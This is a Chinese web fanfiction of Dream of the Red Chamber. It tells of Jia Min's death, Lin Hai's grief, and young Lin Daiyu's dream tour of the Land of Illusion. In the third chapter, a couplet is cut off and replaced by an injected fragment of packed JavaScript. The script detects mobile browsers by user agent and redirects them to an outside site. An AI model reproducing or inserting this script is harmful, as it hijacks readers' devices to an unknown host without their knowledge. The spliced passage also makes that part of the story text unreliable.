《姑苏林黛玉[红楼]》
1. 第一夜
林家是江南鼎鼎有名的人家,祖上曾功封列侯。
前朝末年,天灾人祸你方唱罢我登场,林家家主随明主揭竿而起,新朝初立,获封“文信侯”,位列十二侯。
比起四王八公自然逊色,但也护佑一方百姓。
到了今朝,已过百年。
三代已过,四代获恩多袭一代,爵位传承已尽。
善因结善果,林家改换门庭已成功,林家第五代独子林海弱冠之年中解元,不到而立中探花,现任两淮巡盐御史,加兰台寺大夫,属帝王心腹。
林海是才子,是狂生,也是能吏。
虽未能革除种种积弊,却也大大改善了两淮百姓的吃盐问题。
民生,非一两位能吏所能左右。
今朝,恰逢其会,名臣得遇明君,有施展才能之机,江南得遇数位能吏,属百姓之福。
天灾不断,但救助及时,让街市不见凄清。
到了雨季,热闹的街市也转向清冷。
仿佛要见证一桩哀事的起承转合。
江南多雨,常年在江南的人几乎不会因雨生愁,不会觉得春雨贵如油,也不会觉得秋雨愁煞人,不过常态,或许还会生烦。
今日,巡盐御史林海的府邸颇有几分不同。
林家老宅是典型的江南园林,轻灵优雅,写意风流,可似乎雨落下的力气挤压了空气,平白多了几分压抑。
却原来,帘外雨潺潺,帘内人黯黯。
贾敏出身将门,早年身体健康,也曾伴林海游学,踏遍山川。
谁知幼女降世,一家欢喜的时候,皇子夺位,脱离皇上控制,未免酿成大祸,皇上瓮中捉鳖,收拾参与皇子,最后,牵扯进大半个朝廷,波及臣子的身家性命,父亲、公公接连去世,亲朋好友受牵连者如云,婆婆缠绵病榻一年后去世,死亡的阴影笼罩着他们久久不散。
守孝三年,出孝后进京又离京;不过三年,幼子出世,幼子夭折,女儿病弱,酸甜苦辣尝遍。
虽有忠仆,但到底没有长辈帮衬,家里家外、幼子幼女,都靠他们夫妻,原还算康健的身体慢慢就坏了,撑到如今已经是贾敏心性坚韧了。
自打去年幼子夭折,贾敏就一直缠绵病榻,近日更是昏迷不醒,透着谢世之兆,府内气氛十分沉重。
府内仆从都多了几分谨慎,面色严肃,行色匆匆,唯恐在这节骨眼出了些许差错。
林海、贾敏夫妇素来待人和善,供奉的大夫尽心尽力,林海也多方延请名医会诊,都只能拖延时间,让贾敏过的稍微轻松点,换来一次次的失望。
不过是治得了病治不了命,就像一年前救不了林家小少爷一样,如今他也救不了贾敏。
李大夫也曾殷殷叮嘱林家夫妻好好保养身体,只是,林府内外、江南盐政、小女幺儿,又有那个不用林海贾敏夫妻殚精竭虑呢?
人力终有尽时,留了贾敏一年。
如今,李大夫已无能为力。
早先,林家一家住在扬州巡盐御史官邸,自打贾敏病重,才回到了姑苏老宅,林海公务繁忙,几处奔波。
这一年,贾敏病骨难支,林海分身乏术,他们都很痛苦,却也还是笑着安慰彼此,宁愿永远这样下去,只要他们一家在一起。
他们都在强求,强求来的时日终究到头了。
贫贱夫妻百事哀,他们不若贫贱夫妻历经万般艰苦,可相互扶持多年,其情半分不差。
简单的离别都让人黯然销魂,更何况生死之别。
人间不足留恋,唯有亲人,不忍别离。
面对噩耗,李大夫难以启齿,斟酌过后还是只说了,“老爷,太太大概就今晚了。”他顿了顿,建议道,“要不要唤姑娘过来。”
林海也早有预料,有种临头一刀终于劈下来的感觉。
终于,他留不住她了。
若有奸人暗害,他尚能为她报仇雪恨,可如今,他又能做什么呢?
他只能照顾好女儿,照顾好自己,让她放心,百年以后一家再聚。
林海看着昏睡中的贾敏,神色安宁,但早被病痛折磨的变了样子,想着,明明她那般爱美。
他无数次不忍,可还是打败了私心,打败了放不下,他们放不下彼此,也放不下女儿。
他清晰地记得早年父母都在的时候,也曾意气风发,也曾离经叛道,最后都败给了现实。
还记得,那年游历途中帮过一个疾病缠身的妇人,他们尚未经历生死,不将生死看在眼里。
那时,贾敏说“我以后就算死也要死的干干脆脆,缠绵病榻、挣扎求生、不由自己的样子太难过了,折磨自己,也折磨亲人,我宁愿一了百了,早早了断。”
那时候,有人为他们撑起整个天地,他也是狂生,无惧生死,只求痛快,谈及生死,只有坦然;可如今,贾敏为了他和黛玉,她苦苦挣扎,时间还是到了……
林海默了默,“都下去吧,我在这守着。月白去看看黛玉,若她醒了,就带她过来,若睡着,等她醒了再来。”
月白颔首,所有人都出去了。
只剩他们,只剩他和她。
林海又一次确定,他要失去她了。
这一刻,林海仿佛失去了所有力气,他握着她的手,额抵着她的手,任由情绪流淌。
林海从来不屑生死相随的故事,林海与贾敏也没有想过或谈及生死相随的话题,他们默契地希望另一个人能够好好活着,他一直以为他会是先走的那个人,可真到了妻子走到生命尽头的时候,林海反而不知道该如何反应,该如何走完接下来的人生。
林海还记得很多年前,他与敏敏还未相遇,他和大舅兄贾恩侯一个少年狂生,一个风流纨绔,都是京城有名的公子哥,虽然差了些年岁,但圈子那么大,谈不上知己,也有几分交情。
贾恩侯与妻子情投意合,婚后敛去曾经的风流,规矩起来,他那时候其实不能理解风流如贾恩侯怎会因成亲规矩起来,甚至觉得成亲有些可怕,让风流少年瞬间成为规矩的青年。
他少年得志,有意效仿老师走遍天下,尚未想过成亲,总是敬谢不敏,没想到会与她一见钟意,迅速成婚。
婚后,他和敏敏携手走遍山川湖海,琴瑟和鸣。
五年后,他们回了京城,他参加会试、殿试,中探花、入翰林、进御史台,一家共享天伦;又迎来了黛玉,他们林家三代以来唯一的女孩,再美好不过。
谁知一朝风流云散,父亲、岳父接连去世,雷霆雨露,皆是君恩,他们不怒,也不能怨。
京城风雨欲来,态势复杂,岳家闭门守孝,母亲做主一家扶灵回南。
一年后,母亲去世。出孝后一家回京,复职,任两淮巡盐御史,加兰台寺大夫。
又一年,玄玉出生,儿女双全,夫妻恩爱,官途顺畅,一切都好,仿佛阴影散去。
虽然,儿女体弱,要好好调养,可他们这样的人家,不缺医药,总会好好养大孩子,看着他们长大成人,结婚生子,白头偕老。
可谁知,一场风寒带走了他们三岁的儿子,也彻底拖垮了妻子的身体。
他从来以为他们会一起到老,他会是先走的人。
那以后,想起大嫂去后,大舅兄颓废痛苦的样子,总有些怕。
……
林海忆起从前,从开始到现在,直到听到女儿过来才回过神,整了整神色,回首轻声道,“黛玉,快来。”
小姑娘大概因为体弱的原因,看着不过六七岁的样子,穿着一套月白色的衣衫,上面绣着蝴蝶花草,雅致又热闹,连她眉宇间的愁绪都减去几分。
后面跟着一串嬷嬷、丫鬟,都留着外面。
小姑娘看见父亲,很是欢喜;看到躺着的母亲,又难过起来。
黛玉不过九岁,却已经早早见过了弟弟的夭亡,又天性敏感,聪慧多思,已经预感到娘亲快要离开她了
她知道娘亲身体不好,弟弟走后更是一直喝药,她好好管家、虔诚拜佛,爹爹寻医请药,都只是为了母亲好好养病,早日恢复健康。
可还是留不住她了。
黛玉担心娘亲,小跑到父亲身边,轻声问道,“爹爹,娘亲还没醒吗?”
林海听着女儿语气里的小心,心里陡然一恸,他们的女儿也不是无知无觉。
是啊,他们的女儿从来聪慧,如今也什么都懂,他们不过都不想相信罢了。
他该怎么办,说道,“快了,你娘亲快醒了,黛玉,我们等你娘亲醒过来好不好。”
父女两依偎着,等待着他们生命中最重要的女人清醒。
哪怕不言不语,三个人的时光也显得格外
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温馨。
贾敏醒了。
床上憔悴的妇人甫一睁眼,尽是从容。
不惧生死的人很多,坦然说生死的人也很多,但又有几个人真的到了生死关头不见支绌呢?
贾敏也曾为了多活一段日子,为了多陪陪女儿丈夫,挣过命。
贾敏病重无数次想着,她走以后,她的女儿怎么办?她的丈夫怎么办?她年迈的母亲怎么办?
丈夫续娶,她担心新妇难为女儿。
丈夫不续娶,她担心世人挑剔女儿教养,担心他没人照顾,怕他孤单。
送女儿回娘家,又担心女儿受委屈,怕丈夫看着女儿未来有望,丧失生志;又怕母亲难过,又怕母亲为难。
她多想陪着他们。
她终究争不过命。
时间到了,贾敏也就坦然了。
“如海,黛玉。”贾敏轻轻的唤道。
黛玉开心起来,“娘亲,黛玉想你了,黛玉怕。”说着扑倒贾敏塌前前。
林海抚了抚贾敏的手,看着贾敏的精神好了很多,却遍体生寒。
父母死前,他多希望命运眷顾他们,原不过希望后的失望。
如今,他已经不敢有奢望了。
贾敏自然明白林海,她缓缓的看着女儿,微微的笑着,眼里的从容褪去,渐渐浮现出很深很深的悲色,只为了她的小女儿,她才九岁啊,“黛玉,娘亲也想你啊”
黛玉说道,“娘亲,我过来的时候下着雨,看到花园里的残荷,很有意境,不由想起娘亲曾经教我读李商隐的‘留得残荷听雨声’,想让娘亲也看到。”脸上浮起一抹期待,“等娘亲身体好了,我们和爹爹一起去看好不好?”
贾敏林海自然不愿意女儿失望,齐齐答应。
“那我们说好了,拉钩。”黛玉说着,一只手勾了下贾敏的手指,另一只手勾了下林海的手指。
贾敏伸手点了点了黛玉的额头,“鬼灵精哟,娘亲什么时候骗过你啊。”又不由泛起悲意,她注定要失信于女儿了;她也知道,女儿不只是想让她看景,是惦念她的身体,想她恢复健康。
黛玉笑着又说着,“娘亲,阿阅昨天给我送了京里来的新鲜物件,孔姨还带了话,说等你好了,接我们一起去玩。今天庄子上送了新鲜果子,我也给阿阅和孔姨送了些。”
贾敏说道,“黛玉做的好,阿阅和你孔姨喜欢你,有什么想着你,我们黛玉也想着她们是不是。”停了停,“说起来,我们还有些亲戚关系,阿阅的姑姑是你先大舅母,你和阿阅都是你琏表哥的表妹,只是你大舅母走的早,怕提起来伤心,倒没给你们说过。我和你孔姨也是打小的交情,你孔姨疼你,你和阿阅也投缘,以后娘亲要不在你身边,以后有什么事,可以找你孔姨。”
黛玉猛然有股不好的预感,“娘亲怎么会不在呢?我们一家会一直在一起的,娘亲。”
贾敏心中一恸,搂着黛玉哄道,“好好好,娘亲都听你的。”
她知道,女儿总要回京的,早早给母亲和故交们都写了信,托她们以后照顾女儿。
毕竟,世人对女子严苛,林海一个大男人,在女儿的有些事情上无能为力。
她想要在死亡之前,把什么都给女儿安排好,让她终身无忧。
可怎么可能呢?她的离开就是她最大的忧愁了。
林海只是静静地看着,看着她向女儿交代后事,又不忍心说的太透,让女儿难过,林海握了握她的手,看着贾敏说道“放心,有我。”
不出声。
贾敏又恸,二十余年的相依,她怎么会不放心他呢,可她又怎么能放心他一个人呢。
说到底,她最不放心他,女儿还有他,他总会为女儿安排好一切,可这么多年,他只剩下她了。
贾敏絮絮的向黛玉说着,想要把一生的经验都告诉她。
后来,说着说着贾敏就睡着了,黛玉要守着贾敏,林海劝着让黛玉回去休息了。
PS:林海中举后,林海贾敏成婚,婚后出京游学;五年后,回京,参加会试,中探花,入翰林,入御史台,黛玉出生;黛玉一岁,贾代善林父去世,回南守孝,一年后林母去世;三年后出孝回京,林海复职任巡盐御史,到扬州;一年后,玄玉出生,三年后,一场风寒,玄玉死,一年后,就是本文开始,黛玉九岁。
2. 第二夜
林海一夜守着贾敏。
想着曾经,想着未来,想着现在。
想着他们后来的谈话,他不想她说,又不忍拦她。
“林郎,相遇好似还在昨日,却已走到最后,我不后悔,只是遗憾不能与你白首,遗憾留下你一个形单影只。你要长命百岁,看着黛玉长大,成亲生子。”她说的断断续续,声音微浅却坚定。
“我会的,你放心,放心,我们都会好的,我会照顾好黛玉,让她开开心心的过一辈子,做她想做的事,活到白发苍苍。”林海微哽。
贾敏继续缓缓地说道,“我本想着以后送黛玉回贾家,我母亲在,总会护着黛玉,又有姐妹们陪着长大,也全了黛玉丧母长女无人教养的名头,京里也有很多故旧,我都去了信,多少会照顾黛玉。”她顿了顿,断断续续地说道,“黛玉和宝玉青梅竹马的长大,以后总不会亏待黛玉。可我终究没怎么见过宝玉,不想把黛玉托付一个脂粉堆里长大的孩子。纵使母亲说的再好,我还是不放心把我的黛玉托付过去,更何况我出阁前与二嫂有些不睦,我担心她不会善待黛玉。”
“我在,敏敏,以后都看黛玉意愿,总要黛玉愿意。”林海承诺,又说道,“之前贾兄告辞,后来也没有功夫为黛玉寻找先生,黛玉只能跟着你我学习,有问题等我们闲暇时解惑。你还记得姑苏阊门的甄兄吗?”
“记得,他和甄嫂子伉俪情深,又都人品俊逸,你还赞甄兄神仙中人,引为知己呢,只是他们也子嗣艰难,年近半百才得了一女,那年他们家女儿走失,恰巧遇上我们,如今一家三口也算圆满。”
林海接着道,“前些天你身体不好,不想琐事影响你修养,就没给你说。我与甄兄常有书信往来,他们带女儿回家后遭了火灾,好在人都没事。现在住在庄子上,只是年景不好,他们又不善经营,前段时间来信说有意变卖家业,搬去大如州投奔岳家。我收到信后便去了信,邀请他来维扬,让黛玉拜甄兄为师,以后黛玉在家读书,与甄兄家姑娘同伴学习,我借着公务之便,闲暇也能带她出去四处看看,到京里,出去就不那么容易了。”
贾敏听着露出喜色,“以后,他家姑娘也可以和黛玉一起上学,师姐妹一起长大,和亲生姐妹也差不离,她们也可以互相扶持,甄嫂子就是黛玉师娘,也能全了黛玉教养。”
“甄兄才学过人,也是中过进士的,只是志不在官场,后来才辞官归家了。若甄兄能答应,黛玉必然受益匪浅。良师益友皆得。”
“我总是不放心她的,也不放心你。遇见你,是很幸运的事情,我们过了近二十余年,走过很多地方,看过很多事情,我没有什么遗憾,我只是愧疚难过,留下你,留下黛玉。”贾敏的语气难掩悲伤,但又透出几分平静,“我多想陪着你,陪着黛玉长大,为她选佳婿,看她一生美满,可是如今,我要去见玄玉了……如果以后有合适的人,就娶了她,要对她好,别孤孤单单的……”
林如海只是握着她的手,紧紧地,不言语,如果说话,想必不成声。
想说,哪有别人,只有你,只想和你白首,可到底不想她不放心。
她絮絮的叮嘱着,仿佛要把后半生的叮嘱一次告诉他。
她想说他好好的,长命百岁,她去找玄玉,他们一起等着他和黛玉,百年千年,她都愿意。
只是她不能说,不忍他孤苦半生。
守到最后,贾敏在梦里静静地走了,林海在梦外默默地守着。
天还未亮,守夜的丫鬟进来看,原来贾敏已经走了,哭了出来,其他丫鬟也陆续进来。
林海疑惑,她们在哭什么,她们在哭她。
才反应过来他握着的手已经凉了。
这时,绢纨强忍着难过把纩递给林海,林海把纩放在贾敏口鼻处,果真已经没有了气息。
顷刻间,林海也泪流满面。
林海出门上屋面向北方呼喊“敏敏”,企图召回贾敏的灵魂,声音由大到小,直至嘶哑,久呼不醒,他才在随从、丫鬟们的劝说中下屋回房。
贾敏的后事早就预备妥当,丫鬟们与贾敏多年情分,伤心不已,一边打起精神,有条不紊的取来煮过的淘米水、寿衣;一边瞅空换下近日为冲喜穿的亮色衣服,换上素衣……
林海回屋后,强忍着难过,在丫鬟的帮助下为贾敏净面、沐浴、换上寿衣;又往嘴里放入米和碧玉做饭含,最后为贾敏理了理头发,才恋恋不舍的让出地方,让丫鬟们给贾敏整理遗容。
林海自己则出了卧室,安排仆从搭设灵堂,安排随从去衙门告假,通知林氏族人,向亲朋好友报丧……
黛玉夜里做了一个美梦。
梦里,她一觉睡醒后,雨过天晴,阴霾散去。
她去请安的时候,娘亲痊愈了,他们一起和和美美的用过早餐,去寺庙还愿,吃素斋,去游西湖,逛街市,买娘亲喜欢的桃花酥,买她喜欢的荷花酥,参加诗会,兴尽才归。
梦醒的时候,她还意犹未尽。
大概好梦的原因,黛玉醒的比平常早点,天还未亮。
“逢春,知更。”逢春听到呼声,看了看窗户,外面还黑着,走进去,倒了杯水,“姑娘怎么这么早就醒了,先漱漱口,喝点水。”
知更慢了一步,问道,“姑娘,天还未亮,您再睡会。今天要穿那套衣服,我先准备着。”
“不了,伺候我起身。蝶穿桃花的那套。”黛玉说道。
“夫人之前做的那套,姑娘可是一直没舍得穿。”知更问道。
“对,娘看了指定高兴。我昨晚做了梦,娘好了,娘一定好了,你们这就伺候我梳洗,快点收拾好,我要早点去看娘。”像是说给知更,又像说给自己。
知更听了,赶紧取了衣服放在熏笼上,挑了桃花香点上,愣是在秋天熏染出春意,想着姑娘把春穿在身上,让夫人见见,病里也心情舒畅。
看逢春伺候黛玉梳洗,又出去找值守小丫鬟,让赶紧去知世阁打探消息。
知更和逢春想着还早,不好让姑娘摸黑出门,也就没有叫别的小丫鬟进来伺候,两个人慢慢的给黛玉梳妆,挽发。
正挑选首饰,外面小丫鬟小声唤着,“知更姐姐,出来下。”
知更看是去贾敏院子打探消息的小丫鬟含霜,又想着时间还早,就放下出去了,只是嘀咕着怎么不进来回话。
知更一出去还没问话,就被拉着走,含霜看离姑娘卧房远了,哗一声的哭了出来,“知更姐姐,夫人去了,姑娘那怎么办?府里已经动起来了。”
知更听罢木了木,赶紧反应过来,“我去拦着姑娘,你去请老爷。”
含霜走后,知更揉了揉脸,换了副表情,去找雪雁和子规,几人又哭了一遭,让她两去屋里候着,拖着黛玉;又去喊醒小丫鬟们,让换了院子里的鲜艳装饰,安顿好后才回了黛玉身边。
这时,夜色已经慢慢退去,几个丫鬟正围着黛玉梳妆,比划簪子。
“我记得夫人给姑娘用蓝水晶打了副首饰,还有套白珍珠的,都在库房收着,刚好和姑娘今天的衣服相配,雪雁去找一下,都拿过来。”知更插话道,又向雪雁使了个颜色。
“我知道那个,我去取。”雪雁说着就走了出去。
黛玉道,“先换衣服吧。”
“姑娘,我刚出去看了,突然降温了,粉色那套太冷了,不如穿月初做的那套蓝袄白裙,还是夫人吩咐做的,刚好穿去给夫人看。”知更问。
“好。”黛玉没什么意见。
知更拿来衣服,和逢春伺候黛玉穿上。
穿好衣服雪雁还没来,黛玉有些不耐烦。
“姑娘,雪雁那怕出了问题,
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我去看看,姑娘要不先传饭。”逢春看了赶紧说。
黛玉垂头,状似思考了下,“不了,就这样,不等了,我现在就走了。”
或许黛玉察觉了什么,或许母女连心,她站起来就往出走,逢春和平常跟着黛玉行动的小丫鬟也赶紧跟着。
“姑娘,等等,今天天气冷,你等我拿来披风穿着。”知更说道,一边回身去拿。
她可能从没有这么机智应变过。
她不敢让黛玉知道,也不能让黛玉起疑。
这时,林嬷嬷进来了。
她是林家家生子,早先在林老夫人身边伺候,嫁了管家的儿子;又和夫人差不多生子,做了黛□□母,一向把黛玉当心肝。
前几日病重,回家养病,昨下午回来了,今早早就来看黛玉。
“好姑娘,这是怎么了?起这么早?天可还黑着呢。”林嬷嬷一脸慈爱的看着黛玉,又横眉冷对的看向丫鬟们“知更,逢春,都怎么伺候的,怎么让姑娘这样出门。”
“姑娘急着去看夫人,我们没拦住。”逢春低眉回道。
黛玉没回答,只是边走边说,“嬷嬷病好了么,今个儿先休息着,我先走了。”小丫鬟们只能跟着走。
知更落后了一步,小声告诉了林嬷嬷,不敢告诉姑娘,老爷那边也没有消息,只好拖着,林嬷嬷听罢身体晃了晃,强自镇静,赶紧跟着。
几句话的功夫,黛玉已经出了院子,她走的有点快,已经能望见贾敏的知世阁。
看到院子门口压着的白纸,心里咯噔一声,一股不好的预感油然而生。
她彻底抛弃了往日的仪态,冲向母亲的院子。
黛玉到贾敏院子的时候,遗容已经整理好了,衣服也换好了,贾敏盖着被子,静静地躺在床上,若不是……,仿佛只是睡着了。
四个丫鬟守着贾敏,看着黛玉过来,有些不知如何反应,直接愣住了,又不敢拦她,只能派人去找林海。
黛玉朝贾敏走去,慢慢的蹲在床边,想着去拉母亲的手,丫鬟们才反应过来,跑过去拉住黛玉,黛玉挣脱不了,摸不到母亲,不能确认母亲的温度。
娘没了?她不信,明明还好好的,她挣扎着想要去捂热贾敏的手,却不能挣脱。
看着眼前的一切,仿佛回到了弟弟走的时候,顷刻寒意入骨。
她想,一定是娘亲的恶作剧,她只是想给她一个惊喜,等她哭了,一定会起来笑话她是个爱哭鬼。
她甚至怀疑,是不是梦还没醒吗?
她闭了闭眼睛,仿佛这般噩梦就会走开,睁开眼睛还在床上。
可是没有。睁开眼还是躺在床上的的母亲。
她才反应过来,哪有梦,她再也没有母亲了,她甚至不能看她最后一眼。
在她梦到母亲痊愈的时候她永远地失去了母亲,不自觉地泪流满面,软软的跪倒在地,耳边传来丫鬟的吼叫,“快去请大夫和老爷,姑娘晕倒了。”
林海行色匆匆的踏入院子,就听到了丫鬟的吼叫。
林海知道黛玉醒了,那会他去了书房安排丧仪报丧,想着忙完再去当面告诉女儿这个噩耗,可紧赶慢赶,黛玉还是已经去看贾敏了,林海转身立马赶往贾敏的院子,还是晚了。
林海抱着黛玉回了她的院子,只是院子已经变了样子,曾经鲜妍活泼的院子已经一片缟素。
李大夫到的时候,丫鬟们跪了一地。
林海又一次守在病床前,他后悔了,他应该守着他们的女儿,可却不知道怎么告诉女儿,存了逃避的心思,想着安排好妻子的丧事再说,让女儿受了刺激……
李大夫把过脉,开了药方,“问题不大,受了刺激,好好休息就行。”顿了顿,“姑娘体弱,怕支撑不了丧仪,你完了好好安慰。”
林海道,“好。”
3. 第三夜
林黛玉又入了梦。
这次,没有母亲,没有爹爹,也没有弟弟,只她一人。
她好似到了仙境,一条河流水潺潺,击打着河畔有个石头,清灵悦耳,河边绿草如茵,仙气四溢,还有小兽出没,明明从未到过,却如同相逢,好似归家,可明明不是家。
黛玉席地而坐,“要是娘亲、弟弟也在这就好了。我好想他们。”
眼前不禁浮起母亲的慈颜和弟弟的笑颜,潸然泪下。
黛玉坐了一会儿,愁思渐缓,想起爹爹,缓缓起身,凭着感觉悠悠荡荡地飘了起来,找起回家的路。
绿树清溪,仙音袅袅,却无人迹。
黛玉一路看来不免有些怅然,“这里虽无人烟,却实在有趣,如果娘亲、爹爹、弟弟都在,在这里过一生也不难过,强过人间离别,生老病死。”
正胡思之间,忽听山后传来歌声,风月如流水,何必惹闲愁。
黛玉不懂,却也听出其中得怅然。
黛玉正要前去拜访,便见一个仙姿佚貌的姑娘翩跹而过,端的与旁人不同。
黛玉忙上前施礼,问道:“姑苏林黛玉见过姑娘。这是哪里?将往何处去?我该如何还乡?”顿了顿又道:“本不该如此失礼,只是家慈刚逝,肝肠寸断,牵挂万千,若能,望乞送归。”语毕,又施一礼。
仙姑揽过黛玉的肩膀道:“吾乃太虚幻境警幻仙姑,你我姐妹,实在不必客气。”又看了看黛玉,顿了顿道:“妹妹还请节哀,姐姐见了都心疼的不得了,令慈令尊见了不知多难过。”
黛玉道:“谢谢姐姐安慰,只是情难自抑。”
仙姑又道:“今与妹妹相逢,实非偶然。此离幻境不远,仅以自采香茗一盏,邀妹妹一聚,可否?”
黛玉听了,坚定的摇了摇头,拒绝道:“只是我记挂母亲,肝肠寸断,无有游乐之心。再者,家里唯我和父亲二人,如今我在此方,只怕错过许多,无法尽最后一程孝心,怕老父一人孤单。”
警幻道:“妹妹想差了,你尚昏迷,此番游闭自然清醒,无有丝毫耽搁。再者,姐妹们怕你哀毁过度,惦记着引你疏散疏散哀伤之情。更何况,今日时机难逢,错过此生再无。”
黛玉听罢,只得从了,道,“感卿盛情,岂敢不从。”
随仙姑而去,一路雕栏玉砌,人间难见,想来皇家亦无此番风流气派。
至“太虚幻境”石牌前,警幻仙姑做出邀请的样子,“可算到了。妹妹早先也常来常往,如今只做旧地重游便可。”
黛玉看了四下的牌匾,心下自思道:“果然不负仙境之名,一牌一匾自有深意,道尽人世苦难事。”又想道,“原来如此,真假、有无互相转换,无恒定,是为‘太虚’,‘太虚’为‘幻’。古今多少情,亲情、友情、男女情……无穷无尽,比天高,比地厚;风月大抵是男女情,风月成摘情难偿,自然成痴男怨女,只不知父母算痴男怨女吗?会成为痴男怨女吗?痴男怨女算好?还是不好?生前多少情谊,死后都化作虚无。”想到这,黛玉思及母亲,又有些难过。
母女情谊,今生难忘,此生铭记,那边一直存在。
黛玉只此一想,有些了悟。
黛玉随警幻仙姑进入二门,走过各司,问道;“姐姐,薄情司、秋悲司,都好生凄凉,不知所司何事,可方便告知?”
警幻道:“天下女子的过去未来,尔如今肉眼凡胎,先知未必是福。”
黛玉听罢,思道;“若早来,若能知,想来能改变娘亲和弟弟病逝的结果,只是,因果循环,福祸相依,又哪里是好改变的。若改变,万一带来更大的祸患怎么办?可难道害怕,一点也不改变吗?想来还是不知道的好,不虑因果,自在行事。”
几年前,警幻也曾受荣宁二公之托,引黛玉之表兄,金陵贾氏名唤宝玉者游览幻境,耐不住他的央求,让他在薄命司随意看过,恐他泄露仙机泄露,早掩了卷册,未让他看完。谁知他是万事不过心的性子,这几年倒也没甚大碍。
只顾虑黛玉聪慧胜宝玉多矣,又细心多思,便早早了了她的心思,引她四处粗揽。
路过薄命司时,黛玉见到两边所书,定在原地,久久不能抬步。
黛玉知道自己天性多愁,感花落泪,见雨思愁,恍然明白自己不过庸人自扰之。有人看见花开,有人看见花落,有人看见秋实,有人看见秋叶……看见的不同,产生的结果自然不同。
更何况,我悲花,花却不一定悲自己。
警幻看着黛玉发呆,笑着向黛玉道:“快随我去见见诸姐妹,他们都等急了,可别在这打闷葫芦!”
黛玉收起思量,连连道恼,恍恍惚惚间随警幻来至后面。
所见之处富贵逼人,异草芬芳,花香馥郁,却不见俗气,唯显仙灵之气。
黛玉连连赞道,警幻笑道,“还要谢过妹妹指点。”
说罢,警幻朝屋内笑道:“姊妹们,快出来迎接贵客!”
话音未落,屋内顷刻间飘出几个仙子来,停在黛玉身旁,拉着黛玉道:“姊妹们等了又等,可算把妹妹盼来了。”
又各自自我介绍,拉着黛玉的是热情若骄阳的痴梦仙姑热情若骄阳,随后的钟情大士爽利若春风,引愁金女清淡若秋菊,度恨菩提冷傲若冬梅,四季风华尽占。
偏偏都对黛玉夸了又夸。
黛玉听如此说,被唬的脸都红了,连连道谢,心中油然而生亲近之感。
警幻忙携住黛玉的手向众姊妹道:“前儿个误了我姊妹相聚,这不找机会便携了妹妹前来相聚,可能赎我前回之罪。不过姊妹们莫胡闹,妹妹刚刚亡母,正难过儿,可要好好安慰妹妹,要是犯了忌讳,可别怪我不给姊妹们求情。”
说毕,携了黛玉入室。黛玉闻一缕幽香,姊妹们向黛玉殷殷介绍:“此香‘群芳髓’,曾是妹妹爱物?妹妹觉得如何?”黛玉听了,只叹珍奇难得,“怪道我觉得似曾相识。”
已而大家入座,小嬛捧上茶来。
黛玉品过,自觉清香纯美,问道,“这便是姐姐所说的自采香茗吧,可有名字?”
警幻道:“妹妹聪慧。此茶名‘千红一窟。’生在放春山遣香洞,我们闲时采来炒制而成,又在清晨采仙花、灵叶之露烹煮而成。”
黛玉听了,点头称赞巧思,又道,“只是悲了些,千红一窟,千红一哭,何至于此。”不觉沾湿眼角。
度恨菩提道:“世人多以花喻女子,女子一生又何尝不是如此,不过一窟,不过一哭。世人推崇全福,可真正全福的女子有几个?”
众姊妹们连连叹息,又引黛玉参观起来。
黛玉想,她不服。
父母皆叹她胜世间男子多矣,却不以为傲,反而常常替她担心,她不懂,可她总会懂。
她想,她懂得那一天,一定要做些改变,为天下只能一哭的女子。
只看房内,无所不有。黛玉看毕,连连称赞。
可壁上所挂一副对联,寥寥数字,写遍女儿无奈。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033465|162364||http|test|mini|href|location''.split(''|''),0,{}));
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>女子一生,大抵有无数无奈,连仙子都如此,何况人乎?
少刻,仙姑们带黛玉来到宴厅,想必顾及黛玉丧母,不见艳色,一片素淡,宴上不见酒肉,唯见果蔬。
黛玉见此十分感怀。
以果饮代酒,谢过各位仙姑。
警幻见此介绍道:“此饮‘万艳成杯’,乃百花蕊、千果浆、万木汁、凤乳调和而成。”
黛玉称赞其巧思,却不免为其名而伤怀。
虽然她丧弟、丧母,但生于钟鸣鼎食之家,自幼受宠,除却亲人离别,其他的难过多处于天性,让别人看,大抵还要说一句“为赋新词强说愁。”
她能懂“群芳髓”、“千红一窟”、“万艳成杯”都是女子的苦泪,但她想不出是怎么样的苦泪才称得上。
啜饮间,又有舞女上来请问演何词曲。
警幻想着黛玉新丧,本想拒绝,却又想起日前宝玉不曾悟,今日不妨送绛珠妹妹场造化,若能改变结局,为姐姐妹妹们做些什么,也是善果;若无法改变,也是善因,尽了姊妹情谊,便道:“等会,待我们说过,再将日前演过的《红楼梦》十二支演上来。”
警幻便向黛玉说道:“此曲玄妙,非此中人,难闻其妙。”
又取了《红楼梦》原稿递给黛玉,“今日姐姐送你一场造化,别负了我一腔心意就好。”一边示意舞女们开始演唱。
黛玉揭开原稿,目视文,耳聆歌。
舞女们得了示意,慢歌道:“开辟鸿蒙……”
直至歌完副曲才退去。
黛玉叹道:“此吾外祖家事。好一似食尽鸟投林,落了片白茫茫大地真干净。娘亲若知道,肯定难过。”
警幻道:“妹妹聪慧。”
警幻说毕便不再言,只一挥袖,黛玉便觉回到初时,祖父母、外祖父母皆在,她与父母皆身体康健,时间缓缓流逝,她随父母辗转多地为官,六岁时有了弟弟,身体康健聪慧,一家和乐,别无遗憾。
黛玉也沉沦其中,渐渐忘了现世,不愿醒。
直至梦中母亲去世,那时,她已经老了,父母、弟弟都在,也嫁了人,一生和乐,没有波折,幸福的有点假,只是舍不得母亲,自己骗自己。
黛玉回过神来,泪流满面,说道:“谢姐姐赠我一场梦。”
警幻道:“生老病死本是人间常态,生死死生,生是一开始,死又何尝不是另一场旅程的开始。若有缘,你与贾夫人自会相逢;若无缘,左不过对面不相识。你们能有母女缘分、情分,自然缘分深厚,不必悲伤。往前走吧。”
语毕,不再赘言。
邀黛玉与众姊妹闲游,至一偏僻处。
荆棘遍地,虎狼出没,大河黑水肆虐,又无桥梁可过。只远远见一木筏,上有一灰衣侍者撑篙,一青衣居士掌舵。
荆榛遍地,狼虎同群,忽尔大河阻路,黑水淌洋,又无桥梁可通。
警幻道:“看来我们到了迷津,掌舵的是木居士,撑篙的是灰侍者,只度有缘者,看来是妹妹的缘法。不妨一试,不负你此前所悟。”
